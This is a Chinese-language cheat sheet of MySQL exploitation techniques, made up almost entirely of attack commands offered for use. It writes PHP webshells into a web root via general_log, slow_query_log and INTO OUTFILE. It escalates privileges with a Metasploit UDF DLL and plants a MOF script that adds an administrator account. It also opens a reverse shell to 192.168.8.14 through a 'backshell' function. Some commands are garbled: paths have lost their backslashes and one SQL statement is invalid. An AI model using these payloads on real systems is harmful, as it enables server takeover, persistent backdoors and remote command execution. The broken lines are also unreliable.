MySQL数据库利用姿势

show variables like 'general_log';    查看日志是否开启set global general_log=on;    开启日志功能show variables like 'general_log_file';    查看日志文件保存位置set global general_log_file='D:/phpStudy/WWW/shell.php';    设置日志文件保存位置show variables like 'log_output';    查看日志输出类型 table或fileset global log_output='table';    设置输出类型为 tableset global log_output='file';    设置输出类型为fileSELECT'<?php assert($_POST["YB666"]);?>';    通过日志来写入一句话

set global general_log=on; -- 开启日志功能

show variables like 'general_log_file'; 查看日志文件保存位置

show variables like 'log_output'; 查看日志输出类型 table或file

set global general_log_file='D:/phpStudy/WWW/shell.php'; //设置日志文件保存位置

SELECT'<?php assert($_POST["YuBai"]);?>';

show global variables like '%long_query_time%';

set global variables like '%long_query_time%';show variables like '%slow_query_log%';

set global slow_query_log = "ON";set global slow_query_log_file ='D:/phpStudy/WWW/0_book/tmp/shell.php';select "<?php @eval($_POST['cmd']); ?>" or sleep(11);

show variables like'%plugin%';

select load_file('D:metasploit-frameworkembeddedframeworkdataexploitsmysqllib_mysqludf_sys_32.dll')  into dumpfile 'D:phpStudyMySQLlibpluginudf.dll';

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

drop function sys_eval;

#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter{EventNamespace = "Root\\Cimv2";Name = "filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa \"Win32_LocalTime\" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine = "JScript";ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";};instance of __FilterToConsumerBinding{Consumer = $Consumer;Filter = $EventFilter;};

select load_file("C:/soft/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

#停止winmgmt服务net stop winmgmt
#删除 Repository 文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除 mof 文件
del c:/windows/system32/wbem/mof/nullevt.mof /F /S
# 删除创建的用户
net user hpdoger /delete
#重启服务net start winmgmt

cmdshell        执行cmd;downloader     下载者,到网上下载指定文件并保存到指定目录;open3389       通用开3389终端服务,可指定端口(不改端口无需重启);backshell      反弹Shell;ProcessView    枚举系统进程;KillProcess    终止指定进程;regread       读注册表;regwrite      写注册表;shut         关机,注销,重启;about        说明与帮助函数;‍

FUNCTION backshell RETURNS STRING SONAME 'udf.dll';

select backshell("192.168.8.14",2333);

union select 1,2,3,4,'<?php phpinfo(); ?>' into outfile 'D:/phpStudy/WWW/shell.php'union select 1,2,3,4,'<?php phpinfo(); ?>' into dumpfile 'D:/phpStudy/WWW/shell.php'

NULL    不允许导入或导出/var    只允许在/var目录导入导出空      不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空，这个情况下可以向任意绝对路径写文件在 MySQL 5.5之后 secure_file_priv 默认是 NULL，这个情况下则不可以写文件

into outfile 'D:/phpStudy/WWW/shell.php' lines terminated by '<?php phpinfo(); ?>';limit 1 into outfile 'D:/phpStudy/WWW/shell.php' lines terminated by '<?php phpinfo(); ?>';

into outfile 'D:/phpStudy/WWW/shell.php' lines starting by '<?php phpinfo(); ?>'; limit 1 into outfile 'D:/phpStudy/WWW/shell.php' lines starting by '<?php phpinfo(); ?>';

into outfile 'D:/phpStudy/WWW/shell.php' fields terminated by '<?php phpinfo(); ?>'; limit 1 into outfile 'D:/phpStudy/WWW/shell.php' fields terminated by '<?php phpinfo(); ?>';

into outfile 'D:/phpStudy/WWW/shell.php' COLUMNS terminated by '<?php phpinfo(); ?>'; limit 1 into outfile 'D:/phpStudy/WWW/shell.php' COLUMNS terminated by '<?php phpinfo(); ?>';